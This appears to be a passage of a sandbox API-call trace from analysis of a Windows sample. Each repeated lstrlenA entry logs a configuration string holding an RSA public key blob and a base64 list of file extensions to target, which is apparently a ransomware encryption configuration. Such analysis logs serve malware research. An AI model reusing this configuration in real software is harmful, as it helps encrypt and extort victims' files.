ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI